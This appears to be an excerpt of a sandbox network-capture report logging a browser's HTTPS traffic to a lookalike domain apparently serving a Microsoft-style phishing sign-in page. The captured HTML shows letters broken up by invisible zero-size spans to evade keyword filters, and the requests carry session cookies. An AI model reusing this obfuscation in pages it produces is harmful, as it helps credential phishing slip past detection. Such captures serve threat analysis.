2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 68 65 61 64 69 6e 67 22 20 61 72 69 61 2d 6c 65 76 65 6c 3d 22 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4c 3c 2f 73 70 61 6e 3e 69 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 Data Ascii: <div role="heading" aria-level="1"> S<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">L</span>i<span style="display: inline; c
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 61 38 61 35 33 66 33 65 36 36 32 61 35 62 32 33 31 64 30 35 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 61 6c 65 72 74 22 20 61 72 69 61 2d 6c 69 76 65 3d 22 61 73 73 65 72 74 69 76 65 22 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 68 69 64 64 65 6e 3d 22 22 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 32 34 20 65 72 72 6f 72 20 65 78 74 2d 65 72 72 6f 72 22 20 69 64 3d 22 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: a8a53f3e662a5b231d050"> <div role="alert" aria-live="assertive"> </div> <div hidden="" class="col-md-24 error ext-error" id="usernameError">
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4e 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4e 3c 2f 73 70 61 6e 3e 6c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 Data Ascii: 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">N</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">N</span>l<span style="display: inline; color: rgba(26, 125, 117
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4e 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4e 3c 2f 73 70 61 6e 3e 64 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 Data Ascii: play: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">N</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">N</span>d<span style="di
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4e 3c 2f 73 70 61 6e 3e 68 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4e 3c 2f 73 70 61 6e 3e 6f 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d Data Ascii: ize: 0.02px;">N</span>h<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">N</span>o<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4e 3c 2f 73 70 61 6e 3e 2c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4e 3c 2f 73 70 61 6e 3e 20 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 Data Ascii: dth: 0.01px; max-height: 0.03px; font-size: 0.02px;">N</span>,<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">N</span> <span style="display: inline; color: rgba(26, 125, 117, 0); max-w
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4e 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4e 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 Data Ascii: e; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">N</span>n<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">N</span>a<span style="display: inli

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49802	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:14 UTC	955	OUT	GET /o/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff82 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:15 UTC	758	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:15 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 02 May 2024 13:31:15 GMT last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rh4k24Jt84Hwr00J6uRGm22DBfMBfcnUHSkMz7km92xcRnMkQ0cwvbEhO6UKWJdwvR94aPjjxpAch%2F69oyJUX7hDgimw%2F0h4%2BCuEA4jGgmcwumF4neiriNH4xowNPgMMDSVMwcOoYl2SoYTm118%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb13a78e46769-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:15 UTC	611	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 34 2e 37 30 37 2c 34 2e 37 30 37 2c 30 2c 30 2c 31 2d 34 2e 39 31 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 Data Ascii: 4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.41
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 2c 30 2c 2e 33 37 35 2d 2e 37 34 31 2c 31 2e 30 32 39 2c 31 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 Data Ascii: ,0,.375-.741,1.029,1.029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.97
2024-04-25 13:31:15 UTC	309	IN	Data Raw: 33 34 31 2c 33 2e 33 34 31 2c 30 2c 30 2c 31 2d 2e 37 33 36 2d 32 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 Data Ascii: 341,3.341,0,0,1-.736-2.363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" w
2024-04-25 13:31:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49804	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:14 UTC	925	OUT	GET /ASSETS/img/m_.svg HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:15 UTC	769	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:14 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 02 May 2024 13:03:58 GMT last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 1636 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ALmGknFPhNFFddrfJC2dzk47MoaQqr86vyl6l94R5UA40ASyLrUO4YMSX%2FAke5%2BDBv9lNKT8smmVBJ%2BKoM02djwDzJtaqwYrCgglS98w%2FPd0XEn9KGjDFw6jSPCunyZ3PPgivl0n7%2BxTwOH36L8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb13a7cdc453b-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:15 UTC	600	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 2d 31 2e 35 35 34 2e 31 36 34 2c 34 2e 37 30 37 2c 34 2e 37 30 37 2c 30 2c 30 2c 31 2d 34 2e 39 31 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c Data Ascii: -1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 31 2e 37 39 2e 37 39 2c 30 2c 30 2c 30 2c 2e 33 37 35 2d 2e 37 34 31 2c 31 2e 30 32 39 2c 31 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 Data Ascii: 1.79.79,0,0,0,.375-.741,1.029,1.029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214
2024-04-25 13:31:15 UTC	320	IN	Data Raw: 32 30 39 2d 2e 37 38 34 2c 33 2e 33 34 31 2c 33 2e 33 34 31 2c 30 2c 30 2c 31 2d 2e 37 33 36 2d 32 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 Data Ascii: 209-.784,3.341,3.341,0,0,1-.736-2.363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y
2024-04-25 13:31:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	49805	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:14 UTC	929	OUT	GET /ASSETS/img/sig-op.svg HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
